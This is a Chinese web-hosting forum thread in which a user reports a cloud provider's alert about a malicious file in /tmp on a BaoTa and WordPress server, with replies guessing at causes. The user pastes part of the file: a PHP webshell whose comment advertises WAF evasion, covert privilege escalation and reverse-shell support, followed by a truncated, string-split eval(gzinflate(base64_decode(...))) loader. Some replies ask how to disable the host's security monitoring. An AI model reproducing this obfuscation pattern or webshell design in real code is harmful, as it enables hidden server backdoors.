贝壳主机网
网友 飞鱼8 说：
*帖最后由 飞鱼8 于 2022-7-10 12:36 编辑
【**云】尊敬的**云用户，您好！您的**云**（**ID：1xxxxxxx，昵称：xxxxx）下的***：10.0.xxxx [Ubuntu-z**H]，实例ID：，地域：华南地区 (广州)，时间：2022-07-10 01:23:10，检测到存在待处理的恶意文件：/tmp/phpxr8**B，威胁等级：严重，您的***疑似被**入侵，避免造成严重损失，请前往主机安全控制台查看详细**。
**清凉云的宝塔**＋ｗｏｒｄｐｒｅｓｓ
两台都有提示了
１８ｃｍ们 这是啥情况
截取部分代码
loc好像装了安全狗 全部代码发不出来
xxxxxx
//*次更新：体积优化、压缩优化、命令优化、反弹优化、文件**优化、挂马清马优化等大量功能细节优化。
//功能特*：PHP高版*低版*都能执行，文件短小精悍，方便上传，功能强大，提权无痕迹，无视waf，过安全狗、云锁、360、阿里云、护卫神等主流waf。同时支持菜刀、xise连接。
$html=’$pa**word’.’=’.&*uot;’&*uot;.$pa**word.&*uot;’;&*uot;.’@e#html’.”.’v’.&*uot;&*uot;.”.”.&*uot;&*uot;.”.”.”.’a’.”.’l(‘.’g’.”.&*uot;&*uot;.”.”.’z’.’i’.”.”.’n’.’f’.’l’.”.”.&*uot;&*uot;.’a’.’t’.’e(b’.’as’.”.”.”.&*uot;&*uot;.”.’e’.’6′.”.&*uot;&*uot;.”.&*uot;&*uot;.&*uot;&*uot;.&*uot;&*uot;.”.’4_’.’d’.’e’.’c’.”.”.”.&*uot;&*uot;.”.&*uot;&*uot;.’o’.’d’.’e’.'(‘.&*uot;’.xxxxxxxx
网友 fff3ggg 说：
**帮你扫描**，检测到了恶意文件：/tmp/phpxr8**B
看不能不能删掉。
网友 flipwalls 说：
网址多少，看看
网友 深巷老猫i 说：
这玩意贼拉** 我装进去马上就发邮件过来了 就是不知道怎么才能搞掉他的这个监控
网友 WZ-Sof**are 说：
深巷老猫i 发表于 2022-7-10 11:03
这玩意贼拉** 我装进去马上就发邮件过来了 就是不知道怎么才能搞掉他的这个监控 …
网友 深巷老猫i 说：
WZ-Sof**are 发表于 2022-7-10 11:05
这个东西具体作用是啥啊
网友 飞鱼8 说：
深巷老猫i 发表于 2022-7-10 11:03
这玩意贼拉** 我装进去马上就发邮件过来了 就是不知道怎么才能搞掉他的这个监控 …
网友 toot 说：
找理由赶下车。随意查看你的***文件。狗**还能用啊？
网友 WZ-Sof**are 说：
深巷老猫i 发表于 2022-7-10 11:17
监控你有没有干坏事的 顺便取证
网友 chxin 说：
深巷老猫i 发表于 2022-7-10 11:03
这玩意贼拉** 我装进去马上就发邮件过来了 就是不知道怎么才能搞掉他的这个监控 …
网友 ＴＭＤ 说：
有我的签名在，大家不要慌
网友 深巷老猫i 说：
chxin 发表于 2022-7-10 11:47
母鸡级别的扫描，你根*搞不掉的，除非搞到母鸡权限
网友 北鸢 说：
我也经常遇到这个。不过最近我把不必要的端口关掉后好像就没有了？也有可能后面会再出来。等遇到的大佬出来解答吧
网友 专收爆米花 说：
这个是上传的临时文件，你是不是在上传啥